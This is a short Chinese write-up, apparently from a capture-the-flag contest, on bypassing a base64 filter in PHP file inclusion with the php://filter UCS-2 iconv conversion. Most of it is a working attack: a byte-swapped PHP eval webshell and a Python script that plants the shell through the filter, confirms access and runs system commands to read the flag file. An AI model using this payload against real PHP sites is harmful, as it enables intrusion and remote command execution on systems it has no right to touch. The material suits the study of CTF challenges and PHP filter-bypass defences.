文件包含的其他编码
前段时间打线下赛,文件包含用filter伪协议读取的时候过滤了base64所以就没思路了,这里记录一下其他编码方式
convert.iconv()
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用iconv ( string $in_charset , string $out_charset , string $str ):将字符串$str从in_charset编码转换到$out_charset这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
$result = iconv("UCS-2LE","UCS-2BE", '<?php @eval($_POST[dotast]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
//输出结果如下:
//经过一次反转:?<hp pe@av(l_$OPTSd[tosa]t;)>?
//经过第二次反转:<?php @eval($_POST[dotast]);?>
所以可以使用这样的编码方式将flag包含出来在进行解码
这里附一个payload:
import requests
url = ""
get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php"
get_url = url + "?file=" + get_data
data = {
'contents': '?<hp pe@av(l_$OPTSd[tosa]t;)>?'
}
res = requests.post(url=get_url, data=data)
shell_url = url + "dotast.php"
test = requests.get(shell_url)
if(test.status_code == 200):
print("[*]getshell成功")
shell_data = {
'dotast': 'system("cat flag.php");'
}
result = requests.post(url=shell_url, data=shell_data)
print(result.text)